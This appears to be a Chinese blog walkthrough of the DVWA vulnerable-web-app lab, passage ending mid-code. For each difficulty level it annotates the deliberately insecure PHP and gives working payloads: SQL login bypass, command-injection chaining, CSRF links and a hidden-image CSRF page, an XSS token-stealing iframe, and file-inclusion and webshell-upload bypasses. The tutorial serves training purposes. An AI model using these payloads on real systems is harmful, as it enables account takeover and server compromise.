Jay jay
文章28
标签2
分类0
DVWA靶场通关

DVWA靶场通关

DVWA靶场简介

DVWA(Damn Vulnerable Web Application)和pikachu一样是一个用来进行安全脆弱性鉴定的PHP/MySQL Web 应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。它一共包含了十个模块:brute force(暴力破解)、command inject(命令行注入)、CSRF(跨站请求伪造)、File inclusion(文件包含)、file Upload(文件上传)、insecure Captcha(不安全的验证码)、SQL Inject(sql注入)、XSS(跨站脚本攻击)。包含了OWASP TOP 10所有攻击漏洞练习环境,供大家学习。
DVWA还可以手动调整安全级别(low、medium、high、impossible)级别越高防护越严格,渗透难度越大。

DVWA安装

和pikachu靶场一样将DWAV的源码解压到phpstudy的www目录下,修改配置文件,启动phpstudy然后在浏览器访问网站进行安装
安装流程
安装完成我们就可以进行测试学习了,如果英文不是很强可以借助浏览器翻译来进行学习
如果安装完成不用登录就可以访问内容我们可以这样操作
加登录

DVWA – 暴力破解(Brute Force)

暴力破解:指的是用字典通过穷举法猜测用户口令:
low难度下的暴力破解:
靶场显示
源码解析:
文件位置

<?php
//检查变量是否设置,查看有无Login参数
if( isset( $_GET[ 'Login' ] ) ) {
// 获取用户名
$user = $_GET[ 'username' ];

// 获取密码
$pass = $_GET[ 'password' ];
// 将密码使用md5加密
$pass = md5( $pass );

// 构造sql语句,这里并没有做处理 可以直接用万能密码手工注入进行登录
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
//查询的sql语句并把结果保存在result中 查到了,保存用户具体信息 未查到,就在页面上输入错误结果,result为空
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//结果存在且数量为1说明查到了
if( $result && mysqli_num_rows( $result ) == 1 ) {
// 获取关联数据row row是键值对
$row = mysqli_fetch_assoc( $result );
//获取登录成功的图片
$avatar = $row["avatar"];

// 登录成功,输出到页面
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// 未查到登录失败,输出错误信息到页面
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
//释放资源
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

经过源码分析我们发现后台直接将输入的用户名拼接到sql中查询,也没有对密码和用户名进行校验,我们可以构造恶意语句admin' or '1'='1让后边条件为永真将数据库用户存入变量,使变量中有值,从而登录成功
万能密码
可以使用burp进行暴破,操作如下:
low暴破

medium难度下的暴力破解
源码解析:
文件位置

<?php
//检测是否存在在Login变量
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input 获取用户名存入user
$user = $_GET[ 'username' ];
//user中x00,n,r,,’,”,x1a转义,防SQL注入
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// 获取到密码 并转义 防sql注入
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
//密码md5加密
$pass = md5( $pass );

// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );//失败后会延时两秒
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

中等难度他的源码对于登录这方面没有做太多改动,因此他的暴破过程和low难度过程基本一样,只不过对一些字符使用mysql_real_escape_string这个函数进行了转义,有效防止了通过万能密钥注入的方式登录
操作和low一样
medium难度暴力破解
防止万能密钥的登陆admin' or '1' = '1输入用户名为这个,再随便输密码显示登录失败
万能密钥

high难度下的暴力破解
源码解析
文件位置

<?php

if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以明显的看出添加了token检验机制来增加暴破的难度,token在计算机身份认证中是令牌(临时)的意思,在词法分析中是标记的意思。一般作为邀请、登录系统使用。针对带token验证的防暴破机制我们可以使用burp来绕过。
演示:
带有token如何暴破

impossible难度
源码解析:

<?php
//这里使用post获取参数
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
// 怎加token检验
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// 过滤用户名
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// 过滤密码并且md5加密密码
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

// 失败登录三次锁定时间
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;

// 验证用户名
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();

//检测账户是否被锁定 尝试大于三次锁定账户
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//$html .= "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

// 计算用户是否能重新登录
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();

/*
print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
*/

// 检测所动账户时间是否够了并解锁账户
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked<br />";
}
}

// 检测用户名和密码与数据库是否匹配
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();

// 如果登录有效
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// 获取用户登录测试,头像和最近登录
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];

// 输出登录信息
$html .= "<p>Welcome to the password protected area <em>{$user}</em></p>";
$html .= "<img src=\"{$avatar}\" />";

// 自上次登录后账户是否已被锁定
if( $failed_login >= $total_failed_login ) {
$html .= "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
$html .= "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
}

// 重置登录失败次数
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// 登录失败随机延时并且输出返回信息
sleep( rand( 2, 4 ) );

// 页面展示
$html .= "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

// 跟新登录失败次数
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}

// 设置最后登录时间到数据库
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}

// 重新获取token到session
generateSessionToken();

?>

这个难度是最高的,基本不可能暴破,其中gat方式获取参数转变为post获取,加上了token校验机制,限制了登录次数,登录超过三次会被锁定等待15分钟,通过这几种方式有效的防止了暴力破解。

DVWA – Command Injection(命令注入)

Command Injection(命令注入),就是指通过提交一些恶意构造的参数破环命令语句结构,从而达到恶意执行命令的目的。这里要和RCE漏洞进行区别,RCE漏洞是执行代码,而这里执行的是命令。
Command Injection主题:
命令注入

Low
源码分析:

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// 获取输入
$target = $_REQUEST[ 'ip' ];

// 确定操作系统并执行ping命令
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

//返回结果到页面中
$html .= "<pre>{$cmd}</pre>";
}

?>

漏洞复现:
通过代码分析可知服务器仅根据不同的操作系统执行了不同的命令并没有对传入的参数进行过滤
命令拼接:

ping 127.0.0.1 & ipconfig    #先执行127.0.0.1,不管127.0.0.1是否执行成功都会执行ipconfig
ping 127.0.0.1 && ipconfig   #先执行127.0.0.1,127.0.0.1执行成功后才会执行ipconfig
ping 127.0.0.1 | ipconfig    #不管127.0.0.1执行是否成功都会执行ipconfig
ping 127.0.0 || ipconfig    #前面的命令要执行失败,才可以执行后面的命令

在这里我们直接使用第一个拼接,由于后台写了ping 所以我们只需要构造payload127.0.0.1 & ipconfig就好:
成功执行
可以看到成功回显出了我们拼接的ipconfig命令

medium
源码分析:

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// 获取输入
$target = $_REQUEST[ 'ip' ];

// 设置命令黑名单其中有&&和;
$substitutions = array(
'&&' => '',
';' => '',
);

// Remove any of the charactars in the array (blacklist).
//调用将&&和;替换为空
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}

?>

漏洞复现:
相较于low来说添加了黑名单将&&和;做了限制进行了替换,换为空,但其他没限制仍然可以使用127.0.0.1 & ipconfig进行绕过执行
测试

high
源码分析:

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);

// Set blacklist 添加了黑名单数量
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}

?>

可以发现黑名单数量加多了,但仔细观察发现’| ‘管道符后边多了一个空格替换成空我们考虑使用管道符绕过127.0.0.1 |ipconfig

漏洞复现:
成功执行

impossible
源码分析:

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token加入token验证
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input 获取ip
$target = $_REQUEST[ 'ip' ];
//stripslashes函数会剥离字符串中的反斜杠,然后返回剥离完反斜杠的字符串
$target = stripslashes( $target );

// Split the IP into 4 octects 以.作为分隔符,分割$target
$octet = explode( ".", $target );

// Check IF each octet is an integer检测分割后的元素是否都是数字类型
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.如果都是数字类型的话,就将2他们再合并成$torget
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
$html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

这里是添加了白名单,白名单的作用是只允许什么通过。

DVWA靶场通关 – CSRF

csrf(跨站请求伪造),利用还未过期的用户信息诱骗用户点击链接修改用户信息
csrf主题:
csrf

Low
源码分析:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Get input使用get方式获取两个密码
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?查看两次密码是否一样
if( $pass_new == $pass_conf ) {
// They do!一样的话直接插入数据库
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

get方式获取了两次输入的密码,一致的话直接将数据插入到数据库中
漏洞复现:
首先尝试修改密码
尝试登录
测试原来默认的密码登录失败,新设置的密码在url中可以看到
我们构造链接http://192.168.23.128/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#在浏览器中访问发现密码就能被重新改回到password(诱骗用户点击)
执行
然后我们登录就可以使用password做密码登录了

medium
源码分析:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
//stripos(str1,str2)检查str2在str1中出现的位置(不区分大小写)如果有//返回ture
//判断host字段是否出现在referer字段中
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

medium级别的代码检查了保留变量http_referer(http包头的referer参数值,表示来源地址)中是否包含了server_name(http包头的host参数,即要访问的主机名,这里是192.168.23.128),希望通过这种机制抵御csrf攻击
漏洞复现:
抓包查看信息
可以看到数据包中有Referer但在url中没有,这里是urlhttp://192.168.23.128/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#可以进行查看参数中没有referer。意思是referer中只要出现server_name就可以正常操作
修改参数加入referer
可以看到在hackbr中修改参数密码为password然后添加头信心referer点击执行可以看到成功执行。
也可以自己搭建的恶意网站中是不存在这个的我们在链接中包含上服务器的地址就能绕过了,我们可以构造一个图片的src中包含服务器地址的文件,index.html

<img src="http://192.168.23.128/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0"style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>

然后存放到自己的网站然后发送链接http://192.168.23.128/192.168.23.128.html给用户一但点击攻击就完成了
成功执行

high
源码分析:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token 加入了token检验机制
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

high级别的代码增加了token检验机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器提交token参数时服务器会在收到token时先检查token,token正确才会处理客户端请求。
漏洞复现:
这里可以利用存储型xss可执行代码获取token,其实是利用xss获取cooki中的token值,所以在这个地方我们使用xss执行。
现在存储型xss中写入语句<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>有长度限制我们F12改限制
存储型xss获取token
这里不要点击确定先复制,然后打开另一个网页打开csrf题输入修改的密码点击提交抓包,不放包发送到repeater中修改token的值点击go跟随查看响应可以看到密码修改了
操作
这种加token的方式由于是后台先把token发送到前端我们可以先获取到向应包中的token替换请求包中的token就能很容易绕过
impossible
源码分析:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
//这里需要输入旧的密码进行校验
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );

// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();

// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

要求我们先输入就密码再修改,攻击者不知道原始密码的情况下是无法发起攻击的。
防护措施
加入Anti-CSRF,每次向客户端发送一个随机数,当客户端向服务器发送数据时对比随机数从而确定身份
获取当前用户密码,以此判断是否为当前用户操作
二次确认(提示、二次密码、验证码).

DVWA – file inclusion(文件包含)

文件包含漏洞(File Inclusion)是指当服务器开启了allow_url_include选项时,通过一些php特性函数如include()、require(),include_once(),require_once()函数利用url去动态包含文件,此时如果没有对文件来源进行严格的审查就会导致任意文件读取或者任意命令执行。
文件包含分类:

  • 本地文件包含:当被包含的文件再本地服务器时叫做本地文件包含,如:../../../ect/password
  • 远程文件包含:当被包含的文件在第三方服务器时,就叫做远程文件包含,如:http://www.xx.com/1.php

特性函数:

include()   当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行
include_once() 功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次
require() require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行 。使用require()函数包含文件时,只要程序一执行,立即调用文件,而include()只有程序执行到函数时才调用
require()在php程序执行前执行,会先读入 require 所指定引入的文件,使它变成 PHP 程序网页的一部份。
require_once() 它的功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次

File Inclusion主题:
首先需要设置打开文件包含
打开文件包含
靶场

Low
源码分析:

<?php
// The page we wish to display 直接获取page参数,未作任何修改
$file = $_GET[ 'page' ];
?>

漏洞复现:
漏洞复现

meidum
源码分析:

<?php
// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation将参数中的http://和https:// ../ ..\都替换成了空
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>

这里可以看到添加了黑名单将“http://” “https://” “../” “..\”全部替换成了空这个地方可以考虑双写绕过。
漏洞复现:
绕过尝试

high
源码分析:


<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation 这里限定匹配文件名以file开头或只能为include.php
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

?>

匹配“file*”,以file开头的文件可以访问,或者include.php可以访问,如果不满足以上两种就输出错误语句

漏洞复现:
使用伪协议:”file:///访问本地文件系统” 参考文章
成功包含
这里限制了白名单只允许某些文件被包含

impossible
源码分析:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
//file变量只能为include.php、file1、file2、file3其中一个
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

?>

这里使用了白名单机制进行防护,简单粗暴,page的参数已经固定了完全杜绝了文件包含

DVWA – File upload(文件上传)

这个漏洞由于对上传文件的内、类型没有做严格的过滤、检查,使得攻击者可以通过上传木马文件获取服务器的webshell文件。

需要配置文件上传:
打开这两个选项

File upload主题:
文件上传

Low
源码分析:


<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
//文件的目标路径即文件上传路径
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// Can we move the file to the upload folder?移动用户上传文件到目标路径
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}

?>

从源码可以看到对上传文件类型、内容没有做任何的过滤和检查,同时告诉了我们文件上传路径,存在明显的文件上传漏洞
漏洞复现:
文件上传复现
在上传的过程中我们使用了webshell管理工具godzilla来生成一句话和连接获取shell

medium
源码分析:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

// Is it an image?
//文件类型必须是image/png或image/jpeg 大小不能超过98Kb
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>

可以分析出对文件上传的类型做了限制,要求必须是image/jpeg或者image/png类型,而且对文件上传大小做了限制。
漏洞复现:
复现中级文件上传漏洞首先需要删除上传的php一句话
删除刚刚上传的
还是上传刚才生成的一句话木马
上传
提示只能上传的文件类型,这里抓包绕过
抓包绕过
然后用哥斯拉连接就好了

high
源码分析:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// Is it an image?strtolower函数把字符转换成小写getimagesize函数会读取文件头信息如果没有则报错,high级别的代码读取文件名最后一个点后的字符串期望通过文件名来限制文件类型
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
